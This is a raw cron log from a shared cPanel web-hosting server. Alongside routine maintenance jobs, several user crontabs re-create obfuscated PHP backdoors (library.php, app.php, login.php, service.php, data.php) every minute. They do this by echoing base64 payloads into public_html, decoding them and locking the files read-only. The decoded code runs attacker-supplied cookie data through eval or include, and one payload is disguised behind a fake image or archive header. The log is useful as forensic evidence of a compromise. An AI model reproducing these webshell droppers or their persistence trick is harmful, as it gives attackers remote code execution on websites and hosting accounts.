Mar  1 17:40:01 medusa CROND[25769]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:40:01 medusa CROND[25770]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 17:41:01 medusa CROND[16227]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:41:01 medusa CROND[16359]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 17:41:01 medusa CROND[16360]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:41:01 medusa CROND[16362]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 17:41:01 medusa CROND[16363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:41:01 medusa CROND[16366]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:41:01 medusa CROND[16370]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:41:01 medusa CROND[16371]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:41:01 medusa CROND[16368]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 17:41:01 medusa CROND[16373]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:41:01 medusa CROND[16375]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:41:01 medusa CROND[16376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:41:01 medusa CROND[16377]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:41:01 medusa CROND[16395]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:42:01 medusa CROND[7047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:42:01 medusa CROND[7059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:42:01 medusa CROND[7120]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:42:01 medusa CROND[7121]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 17:42:02 medusa CROND[7184]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:42:02 medusa CROND[7185]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:42:02 medusa CROND[7186]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:42:02 medusa CROND[7187]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:42:02 medusa CROND[7189]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:42:02 medusa CROND[7190]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:42:02 medusa CROND[7195]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:42:02 medusa CROND[7197]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
